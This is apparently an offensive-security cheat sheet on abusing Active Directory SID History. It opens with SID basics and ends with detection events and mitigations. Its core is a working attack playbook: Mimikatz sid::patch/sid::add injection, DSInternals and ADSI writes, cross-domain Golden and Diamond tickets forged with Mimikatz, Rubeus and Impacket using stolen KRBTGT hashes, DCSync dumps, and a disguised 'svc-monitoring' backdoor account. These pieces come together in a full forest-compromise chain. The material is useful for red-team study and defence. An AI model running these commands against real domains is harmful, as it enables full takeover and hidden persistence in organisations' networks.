SID History Abuse — Yggdrasil

Legend: [SID] = Security Identifier | [INJECT] = SID injection | [PERSIST] = Persistence technique | [FOREST] = Cross-forest attack | [MIMI] = Mimikatz | [RUBEUS] = Rubeus tool | [ENUM] = Enumeration | [DETECT] = Detection | [INTER] = Inter-domain trust abuse

1. SID & SID History Fundamentals

What it means: A Security Identifier (SID) uniquely identifies every security principal in Windows — users, groups, computers. SID History is a legitimate AD attribute that stores an account's OLD SIDs from previous domains during migrations. Attackers abuse it to inject privileged SIDs and gain unauthorized access.

1.1 SID Architecture

SID Format:
S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-RID
│ │ │ └───────── Domain Identifier ──────┘ └─ RID
│ │ └── Authority (5 = NT Authority)
│ └── Revision (always 1)
└── "S" prefix

Examples:
S-1-5-21-1234567890-987654321-111222333-500 → Administrator (RID 500)
S-1-5-21-1234567890-987654321-111222333-512 → Domain Admins group
S-1-5-21-1234567890-987654321-111222333-519 → Enterprise Admins
S-1-5-21-1234567890-987654321-111222333-520 → Group Policy Creator Owners
S-1-5-21-1234567890-987654321-111222333-518 → Schema Admins

Well-Known SIDs (same everywhere):
S-1-1-0 → Everyone
S-1-5-18 → SYSTEM
S-1-5-32-544 → Administrators (local)
S-1-5-32-545 → Users (local)
S-1-5-32-548 → Account Operators
S-1-5-32-549 → Server Operators
S-1-5-32-550 → Print Operators
S-1-5-32-551 → Backup Operators

1.2 What is SID History

┌──────────────────────────────────────────────────────────────────────────────┐
│                   SID HISTORY (DOMAIN MIGRATION EXAMPLE)                     │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Company A merges with Company B                                            │
│                                                                              │
│   john@companyA.local  ── migrated ──►  john@corp.local                      │
│                                                                              │
│   john's NEW SID :  S-1-5-21-CORP-...-1105                                   │
│   john's OLD SID :  S-1-5-21-COMPANYA-...-1043   ← SID History               │
│                                                                              │
│   When john accesses Company A resources:                                    │
│                                                                              │
│     ├─ Windows checks BOTH current SID and sIDHistory                        │
│     ├─ Old SID still grants access to legacy resources                       │
│     └─ Migration is seamless (no access loss)                                │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

SID History Attribute (sIDHistory):
├── Multi-value AD attribute on user/group objects
├── Can contain MULTIPLE SIDs from past migrations
├── ALL SIDs in sIDHistory are included in Kerberos PAC
├── Windows honors ALL of them for access decisions
└── No limit on how many SIDs can be stored!

The Abuse:
Add a PRIVILEGED SID (like Domain Admins S-...-512)
to any user's sIDHistory
→ That user now has Domain Admin rights!
→ While their actual group memberships look normal!

1.3 SID History in Kerberos PAC

When user authenticates with Kerberos:
TGT PAC contains:
├── UserSID: S-1-5-21-CORP-...-1105 (current SID)
├── GroupSIDs: S-1-5-21-CORP-...-513 (Domain Users)
└── ExtraSIDs: S-1-5-21-CORP-...-512 ← SID HISTORY INJECTED HERE!
(Domain Admins)

→ Domain Controller sees ExtraSIDs → grants Domain Admin rights!
→ All resource servers honor ExtraSIDs for access control!
→ User's actual group memberships in AD unchanged!

2. How SID History Abuse Works

2.1 Attack Overview

┌──────────────────────────────────────────────────────────────────────────────┐
│                         SID HISTORY ABUSE FLOW                               │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Attacker has Domain Admin (or equivalent) rights                           │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Inject privileged SID into target account's sIDHistory                     │
│   (e.g., Enterprise Admins SID → low-privileged user)                        │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Target user authenticates → Kerberos TGT is created                        │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   PAC includes injected SID in ExtraSIDs field                               │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   Resource servers evaluate ExtraSIDs → grant privileged access              │
│                                                                              │
│                               ▼                                             │
│                                                                              │
│   AD Users & Computers shows NO privileged group membership                  │
│   → Appears as normal user → stealth persistence                             │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

2.2 Attack Scenarios

Scenario 1: Intra-Domain Privilege Escalation
Inject DA SID into low-priv user → instant Domain Admin
Detection difficulty: MEDIUM (AD attribute change logged)

Scenario 2: Cross-Domain Forest Trust Abuse
Child domain DA → inject Parent domain Enterprise Admins SID
→ Compromise parent domain from child!
Detection difficulty: HIGH

Scenario 3: Stealth Persistence Backdoor
Inject DA SID into service/help desk account
Looks normal in AD → survives most cleanup operations
Detection difficulty: HIGH

Scenario 4: Golden Ticket with ExtraSIDs
Forge Golden Ticket with Enterprise Admins SID in ExtraSIDs
→ No AD attribute change needed!
→ Entirely in-memory, nothing written to AD!
Detection difficulty: VERY HIGH

3. Enumeration & Discovery

3.1 Finding SID History Attributes

# ─── Find ALL accounts with SID History ───
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory |
    Select-Object Name, SamAccountName, SIDHistory

Get-ADObject -Filter {sIDHistory -like "*"} -Properties sIDHistory |
    Select-Object DistinguishedName, sIDHistory

# ─── Find ALL objects (users + computers + groups) with SID History ───
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(sIDHistory=*)" -Properties sIDHistory, DisplayName |
    Select-Object DisplayName, DistinguishedName, sIDHistory

# ─── Check a specific user's SID History ───
Get-ADUser -Identity john -Properties SIDHistory |
    Select-Object Name, SIDHistory

# ─── Resolve SID History SIDs to names ───
$user = Get-ADUser -Identity backdoor -Properties SIDHistory
foreach ($sid in $user.SIDHistory) {
    try {
        $resolved = New-Object System.Security.Principal.SecurityIdentifier($sid)
        $name = $resolved.Translate([System.Security.Principal.NTAccount])
        Write-Host "SID: $sid → $name"
    } catch {
        Write-Host "SID: $sid → [UNRESOLVABLE - foreign domain?]"
    }
}

# ─── Find SIDHistory pointing to privileged groups ───
# Domain Admins RID = 512, Enterprise Admins = 519
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory |
    Where-Object {
        $_.SIDHistory | Where-Object { $_ -match "-512$" -or $_ -match "-519$" }
    } | Select-Object Name, SamAccountName, SIDHistory

3.2 Enumeration with BloodHound

# BloodHound automatically collects and visualizes SID History
# Run SharpHound collector:
.\SharpHound.exe -c All --zipfilename bloodhound.zip

# In BloodHound GUI:
# Custom Cypher query to find SID History abuse paths:

# Find users with SID History:
MATCH (u:User) WHERE u.sidhistory IS NOT NULL
RETURN u.name, u.sidhistory

# Find SID History that grants DA:
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.objectid ENDS WITH '-512'
AND u.sidhistory IS NOT NULL
RETURN u.name, u.sidhistory, g.name

# Most dangerous: SID History with Enterprise Admin SID
MATCH (u:User)
WHERE ANY(sid IN u.sidhistory WHERE sid ENDS WITH '-519')
RETURN u.name, u.sidhistory

3.3 LDAP Enumeration (from Linux)

# ─── Find sIDHistory via LDAP ───
ldapsearch -H ldap://DC01.corp.local \
           -b "DC=corp,DC=local" \
           -D "user@corp.local" \
           -w "Password123" \
           "(sIDHistory=*)" \
           dn sIDHistory displayName

# ─── Impacket ldapdomaindump ───
impacket-ldapdomaindump -u corp.local/user -p Password123 DC01.corp.local
grep -i "sidhistory" domain_users.json

4. SID History Injection

What it means: Directly injecting a privileged SID into a user's sIDHistory attribute in Active Directory. Requires Domain Admin rights (or equivalent). The injected SID will be included in all future Kerberos tickets for that user.

4.1 Injection via Mimikatz (Most Common)

:: ─── Requirements ───
:: Must be running as Domain Admin or higher
:: Mimikatz must have SeDebugPrivilege

:: ─── Patch NTDS to allow SID History injection ───
:: (AD normally blocks same-domain SID History for security)
.\mimikatz.exe
privilege::debug

:: Patch the NTDS service to allow injection
sid::patch

:: ─── Inject SID into target account ───
:: Inject Domain Admins SID (S-1-5-21-DOMAIN-512) into 'backdoor' user
sid::add /sam:backdoor /new:Administrator
:: This adds Administrator's SID to backdoor's sIDHistory!

:: ─── More direct: inject DA group SID ───
:: First get Domain Admins SID:
Get-ADGroup "Domain Admins" | Select-Object SID
:: S-1-5-21-1234567890-987654321-111222333-512

:: Inject DA SID into target user:
sid::add /sam:backdoor /new:S-1-5-21-1234567890-987654321-111222333-512

:: ─── Verify injection ───
sid::query /sam:backdoor
:: OR PowerShell:
Get-ADUser backdoor -Properties SIDHistory | Select-Object SIDHistory

4.2 Injection via PowerShell (DSInternals)

# ─── Install DSInternals ───
Install-Module DSInternals -Force
Import-Module DSInternals

# ─── Stop NTDS service (required for direct DB manipulation) ───
Stop-Service NTDS -Force

# ─── Add SID History directly to AD database ───
$domainSID = Get-ADDomain | Select-Object -ExpandProperty DomainSID
$adminSID  = New-Object System.Security.Principal.SecurityIdentifier(
    [System.Security.Principal.WellKnownSidType]::AccountAdministratorSid,
    $domainSID
)

# Inject Domain Admin SID into 'backdoor' user
Add-ADDBSidHistory -SamAccountName backdoor \
                   -SidHistory $adminSID \
                   -DatabasePath C:\Windows\NTDS\ntds.dit

# ─── Start NTDS again ───
Start-Service NTDS

# ─── Verify ───
Get-ADUser backdoor -Properties SIDHistory | Select-Object SIDHistory

# ─── Alternative: via Set-ADUser (if SID History write allowed) ───
$sidToAdd = [Microsoft.ActiveDirectory.Management.ADPropertyValueCollection]::new()
$sidToAdd.Add("S-1-5-21-...-512")
Set-ADUser backdoor -Add @{sIDHistory = $sidToAdd}

4.3 Injection via Active Directory Module

# ─── Direct attribute write via ADSI ───
# (Requires Domain Admin)
$user = [ADSI]"LDAP://CN=backdoor,CN=Users,DC=corp,DC=local"

# Get the SID bytes of the target SID
$targetSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-...-512")
$sidBytes  = New-Object byte[] $targetSID.BinaryLength
$targetSID.GetBinaryForm($sidBytes, 0)

# Add to sIDHistory
$user.Properties["sIDHistory"].Add($sidBytes)
$user.CommitChanges()
Write-Host "[+] SID History injected!"

# ─── Verify ───
$user.Properties["sIDHistory"] | ForEach-Object {
    $sid = New-Object System.Security.Principal.SecurityIdentifier($_, 0)
    Write-Host "SID History: $sid"
}

5. Cross-Domain / Cross-Forest Abuse

What it means: The most powerful use of SID History — abusing trust relationships between domains and forests. A compromised child domain can leverage SID History to inject the parent domain's Enterprise Admins SID and gain full forest-wide control.

5.1 Child → Parent Domain Escalation

Domain Structure:
corp.local (ROOT / PARENT domain)
└── dev.corp.local (CHILD domain)

Scenario:
Attacker compromises dev.corp.local (child)
→ Gets dev.corp.local Domain Admin
→ Injects corp.local Enterprise Admins SID into their TGT ExtraSIDs
→ Gets Enterprise Admins access on corp.local (PARENT)!

Why it works:
├── Parent/Child trust is TRANSITIVE and TWO-WAY by default
├── ExtraSIDs in Kerberos PAC are honored across trusts
├── Unless "SID Filtering" is enforced (it's often NOT!)
└── SID Filtering disabled by default on parent/child trusts!

5.2 Getting Required Information

# ─── On compromised CHILD domain ───

# 1. Get child domain's KRBTGT hash (for Golden Ticket)
.\mimikatz.exe "lsadump::dcsync /domain:dev.corp.local /user:krbtgt" exit
# KRBTGT NTLM: <child_krbtgt_hash>
# AES256: <child_krbtgt_aes>

# 2. Get child domain SID
Get-ADDomain dev.corp.local | Select-Object DomainSID
# S-1-5-21-CHILD-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

# 3. Get PARENT domain SID
Get-ADDomain corp.local | Select-Object DomainSID
# S-1-5-21-PARENT-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

# 4. Build Enterprise Admins SID (always RID 519 in root domain)
# S-1-5-21-PARENT-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-519

5.3 Cross-Domain Attack — Mimikatz Golden Ticket

:: ─── Forge inter-realm Golden Ticket with ExtraSIDs ───
:: Using CHILD domain KRBTGT hash + PARENT Enterprise Admins SID

.\mimikatz.exe
kerberos::golden /user:Administrator \
                 /domain:dev.corp.local \
                 /sid:S-1-5-21-CHILD-SID \
                 /krbtgt:<CHILD_KRBTGT_NTLM_HASH> \
                 /sids:S-1-5-21-PARENT-SID-519 \
                 /ptt
:: /sids = ExtraSIDs field → injects parent Enterprise Admins SID!

:: ─── Verify access to parent domain ───
dir \\corp.local\C$            :: parent domain DC file share!
dir \\PARENTDC01\C$
PsExec.exe \\PARENTDC01 cmd.exe
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
:: → Dumps PARENT domain KRBTGT! Full forest compromise!

5.4 Cross-Domain Attack — Rubeus

# ─── Method 1: Golden Ticket with ExtraSIDs ───
.\Rubeus.exe golden /rc4:<CHILD_KRBTGT_HASH> \
                    /domain:dev.corp.local \
                    /sid:S-1-5-21-CHILD-SID \
                    /user:Administrator \
                    /sids:S-1-5-21-PARENT-SID-519 \  # Enterprise Admins
                    /ptt

# ─── Method 2: Diamond Ticket cross-domain (stealthiest) ───
.\Rubeus.exe diamond /aes256:<CHILD_KRBTGT_AES256> \
                     /domain:dev.corp.local \
                     /dc:ChildDC01.dev.corp.local \
                     /user:childuser \
                     /password:Password123 \
                     /sids:S-1-5-21-PARENT-SID-519 \
                     /ptt

# ─── Access parent domain resources ───
dir \\corp.local\SYSVOL
dir \\PARENTDC01.corp.local\C$

5.5 Impacket from Linux

# ─── Cross-domain Golden Ticket ───
impacket-ticketer \
    -nthash <CHILD_KRBTGT_HASH> \
    -domain-sid S-1-5-21-CHILD-SID \
    -domain dev.corp.local \
    -extra-sid S-1-5-21-PARENT-SID-519 \
    Administrator

export KRB5CCNAME=./Administrator.ccache

# Access parent domain DC
impacket-psexec -k -no-pass PARENTDC01.corp.local
impacket-secretsdump -k -no-pass PARENTDC01.corp.local
impacket-wmiexec -k -no-pass corp.local/Administrator@PARENTDC01.corp.local

5.6 Checking SID Filtering Status

# ─── Check if SID Filtering is enabled on trusts ───
# If SID Filtering is ON → ExtraSIDs from foreign domains are STRIPPED!
# If SID Filtering is OFF (default on parent/child) → attack works!

# Check trust properties:
Get-ADTrust -Filter * | Select-Object Name, TrustType, SIDFilteringQuarantined, SIDFilteringForestAware

# Check specific trust:
netdom trust dev.corp.local /domain:corp.local /quarantine
# Output: "Quarantine is disabled" → SID Filtering OFF → ATTACK WORKS!

# From nltest:
nltest /domain_trusts /all_trusts
# Look for: "DIRECT_OUTBOUND" trusts without "SID_FILTERING"

# ─── SID Filtering states ───
# SIDFilteringQuarantined = $false → SID Filtering DISABLED (default for parent/child)
# SIDFilteringQuarantined = $true  → SID Filtering ENABLED  (external trusts)
# Forest trusts: SIDFilteringForestAware controls this

6. SID History + Ticket Attacks

6.1 Golden Ticket with SID History ExtraSIDs

:: ─── Add multiple ExtraSIDs to Golden Ticket ───
:: Can inject multiple SIDs for maximum access!

.\mimikatz.exe
kerberos::golden /user:backdoor \
                 /domain:corp.local \
                 /sid:S-1-5-21-CORP-SID \
                 /krbtgt:<KRBTGT_HASH> \
                 /id:1337 \                     :: custom RID (non-existent user)
                 /groups:513 \                  :: Domain Users only in real groups
                 /sids:S-1-5-21-CORP-SID-512,S-1-5-21-CORP-SID-519,S-1-5-21-CORP-SID-518 \
                 /ptt
:: /sids injects: Domain Admins + Enterprise Admins + Schema Admins
:: User appears to be just a Domain User → massive privilege via ExtraSIDs!

:: ─── Most powerful combination ───
:: Inject these SIDs:
:: S-1-5-21-<DOMAIN>-512  → Domain Admins
:: S-1-5-21-<DOMAIN>-519  → Enterprise Admins
:: S-1-5-21-<DOMAIN>-518  → Schema Admins
:: S-1-5-9               → Enterprise Domain Controllers
:: S-1-5-32-544          → BUILTIN\Administrators

6.2 Silver Ticket with ExtraSIDs

:: Silver Ticket can also include ExtraSIDs for service-specific privilege injection

.\mimikatz.exe
kerberos::golden /user:svcaccount \
                 /domain:corp.local \
                 /sid:S-1-5-21-CORP-SID \
                 /rc4:<SERVICE_HASH> \
                 /service:cifs \
                 /target:DC01.corp.local \
                 /sids:S-1-5-21-CORP-SID-512 \  :: inject DA SID into service ticket!
                 /ptt

dir \\DC01.corp.local\C$   :: CIFS access as DA via Silver Ticket + ExtraSIDs!

7. Persistence via SID History

What it means: SID History is one of the stealthiest persistence mechanisms in Active Directory because it doesn't add the backdoor account to any visible privileged groups — the account appears to be a normal low-privilege user while having full Domain Admin access.

7.1 Creating a Stealthy Backdoor

# ─── Create a low-privilege "service account" ───
New-ADUser -Name "svc-monitoring" \
           -SamAccountName "svc-monitoring" \
           -UserPrincipalName "svc-monitoring@corp.local" \
           -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText -Force) \
           -PasswordNeverExpires $true \
           -Enabled $true \
           -Description "Monitoring Service Account"

# ─── Inject Domain Admin SID into sIDHistory ───
# Using Mimikatz:
.\mimikatz.exe "privilege::debug" "sid::patch" \
    "sid::add /sam:svc-monitoring /new:Administrator" exit

# ─── Result ───
# Get-ADUser svc-monitoring -Properties MemberOf    → shows only "Domain Users"
# Get-ADUser svc-monitoring -Properties SIDHistory  → shows DA SID (less obvious!)
# But the account HAS Domain Admin rights via SIDHistory!

# ─── Blue team checking group membership won't find this! ───
# Only checking sIDHistory attribute reveals the backdoor

7.2 Hiding the SID History Attribute

# sIDHistory is usually not shown in standard AD queries
# Most admins check: Get-ADUser -Properties MemberOf
# → Looks completely clean!

# Attacker's backdoor account appears:
# ├── Group Memberships: Domain Users (normal)
# ├── No AdminSDHolder applied
# ├── No privileged group membership visible
# └── Description: "Monitoring Service Account" (innocent)

# Privilege comes silently from sIDHistory!
# → Survives: "Remove user from all privileged groups" cleanup!
# → Survives: Permission audits based on group membership!

7.3 Combining with AdminSDHolder

# Extra persistence: protect the backdoor account via AdminSDHolder
# AdminSDHolder protects DA/EA accounts from permission changes

# If you inject the DA SID → account is now "protected" by AdminSDHolder!
# → SDProp runs every 60 min → RESTORES permissions on protected accounts!
# → Even if someone removes SID History → SDProp re-applies ACL!

# Check AdminSDHolder:
Get-ADUser svc-monitoring -Properties adminCount
# adminCount = 1 → Protected by AdminSDHolder!

8. Detection & Defense

8.1 Event IDs to Monitor

Event ID Description Relevance
───────────────────────────────────────────────────────────────────
4765 SID History added to an account CRITICAL! Direct alert
4766 Attempt to add SID History FAILED HIGH
4738 User account changed (sIDHistory field) HIGH
4728 User added to security group MEDIUM
4672 Special privileges assigned to logon MEDIUM
4624 Successful logon Context
4768 Kerberos TGT requested Context
4769 Kerberos Service Ticket requested Context

Event 4765 = SID History added → ALWAYS investigate!

8.2 PowerShell Detection Queries

# ─── Audit all accounts with SID History ───
Get-ADObject -Filter {sIDHistory -like "*"} -Properties sIDHistory |
    Select-Object Name, DistinguishedName,
    @{N="SIDHistory";E={$_.sIDHistory -join ", "}} |
    Export-Csv sidhistory_audit.csv -NoTypeInformation

# ─── Flag HIGH RISK: SID History pointing to DA/EA ───
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory |
    ForEach-Object {
        $user = $_
        foreach ($sid in $user.SIDHistory) {
            $sidStr = $sid.ToString()
            if ($sidStr -match "-512$" -or    # Domain Admins
                $sidStr -match "-519$" -or    # Enterprise Admins
                $sidStr -match "-518$" -or    # Schema Admins
                $sidStr -match "-544$") {     # Administrators
                [PSCustomObject]@{
                    User        = $user.SamAccountName
                    DangerousSID= $sidStr
                    Severity    = "CRITICAL"
                }
            }
        }
    }

# ─── Schedule as recurring audit ───
# Add above to a scheduled task → alert on any findings!

8.3 Mitigations

Preventive Controls:
├── Enable SID Filtering on ALL cross-domain trusts
│ netdom trust /domain: /quarantine:yes
│ ├── Selective Authentication on forest trusts
│ (users must be explicitly authorized per resource)
│ ├── Audit sIDHistory attribute in AD regularly
│ (no legitimate accounts should have it post-migration)
│ ├── Microsoft Defender for Identity (MDI)
│ → Detects SID History injection attempts
│ → Alerts on suspicious ExtraSIDs in Kerberos tickets
│ ├── Clean SID History after migrations complete
│ Remove-ADUser -Identity user -Remove @{sIDHistory=""}
│ └── Protect KRBTGT account
→ Without KRBTGT hash, in-ticket ExtraSIDs cannot be forged!

Detective Controls:
├── Monitor Event ID 4765 (SID History added) — always alert!
├── Monitor Event ID 4738 (account modified) with sIDHistory change
├── Regular PowerShell audit of sIDHistory attribute
└── BloodHound continuous collection → spot new SIDHistory nodes

8.4 Remove Existing SID History

# ─── Remove specific SID from SID History ───
$user   = Get-ADUser backdoor -Properties SIDHistory
$sidDel = "S-1-5-21-...-512"   # SID to remove

Set-ADUser backdoor -Remove @{sIDHistory = $sidDel}

# ─── Remove ALL SID History from a user ───
$user = Get-ADUser backdoor -Properties SIDHistory
foreach ($sid in $user.SIDHistory) {
    Set-ADUser backdoor -Remove @{sIDHistory = $sid.Value}
}

# ─── Enable SID Filtering on child domain trust ───
netdom trust dev.corp.local /domain:corp.local /quarantine:yes
# → Future ExtraSIDs from child will be STRIPPED at the trust boundary!

9. Complete Cheat Sheet

9.1 SID History Abuse Quick Reference

Goal Command
──────────────────────────────────────────────────────────────────────
Find accounts with SIDHistory Get-ADObject -Filter {sIDHistory -like "*"} -Properties sIDHistory
Get Domain SID Get-ADDomain | Select-Object DomainSID
Get Enterprise Admins SID (Get-ADGroup "Enterprise Admins").SID
Inject SID (Mimikatz) sid::patch; sid::add /sam:user /new:Administrator
Cross-domain Golden Ticket kerberos::golden ... /sids:S-1-5-21-PARENT-519 /ptt
Cross-domain (Rubeus) Rubeus.exe golden /sids:S-...-519 /ptt
Check SID Filtering Get-ADTrust | Select Name,SIDFilteringQuarantined
Disable SID Filtering (bad!) netdom trust child /domain:parent /quarantine:no
Enable SID Filtering (defense!) netdom trust child /domain:parent /quarantine:yes
Remove SID History entry Set-ADUser user -Remove @{sIDHistory = ""}

9.2 ExtraSIDs to Inject for Maximum Access

SID Pattern Group Access Level
──────────────────────────────────────────────────────────────────────────
S-1-5-21--512 Domain Admins Full domain admin
S-1-5-21--519 Enterprise Admins Full forest admin
S-1-5-21--518 Schema Admins Schema modification
S-1-5-21--519 Enterprise Admins (root) Cross-forest DA
S-1-5-9 Enterprise DCs DC-level access
S-1-5-32-544 BUILTIN\Administrators Local admin anywhere
S-1-5-21--520 Group Policy Creator GPO control

9.3 Full Exploitation Chain

Compromise Domain Admin account
→ credential theft / privesc / DCSync
Dump KRBTGT hash (for in-ticket ExtraSIDs)
mimikatz "lsadump::dcsync /user:krbtgt"
Get Domain SID values
Get-ADDomain | Select DomainSID
Choose attack vector:
├── A: Inject into AD (persistent, logged)
│ sid::patch; sid::add /sam:backdoor /new:Administrator
│
└── B: Forge Golden Ticket with ExtraSIDs (stealth, no AD change)
Rubeus.exe golden /aes256:
/sids:S-1-5-21--519 /ptt
If cross-domain target:
→ Get child KRBTGT hash
→ Include parent Enterprise Admins SID in /sids
→ Full forest compromise!
Verify access
dir \ParentDC\C$
mimikatz "lsadump::dcsync /domain:parent.local /user:krbtgt"

9.4 SID History vs Other Persistence Methods

Technique	AD Change	Survives Cleanup	Requires	Stealthiness
SID History injection	YES (sIDHistory attr)	High	DA + Mimikatz	🟠 Medium-High
Golden Ticket ExtraSIDs	NO (in-memory only)	Until KRBTGT reset x2	KRBTGT hash	🔴 Very High
AdminSDHolder backdoor	YES (ACL change)	Very High (SDProp)	DA	🟠 Medium
DCSync rights	YES (DACL on domain)	High	DA	🟡 Medium
Skeleton Key	NO (LSASS patch)	Reboot kills it	DA + Mimikatz	🟠 Medium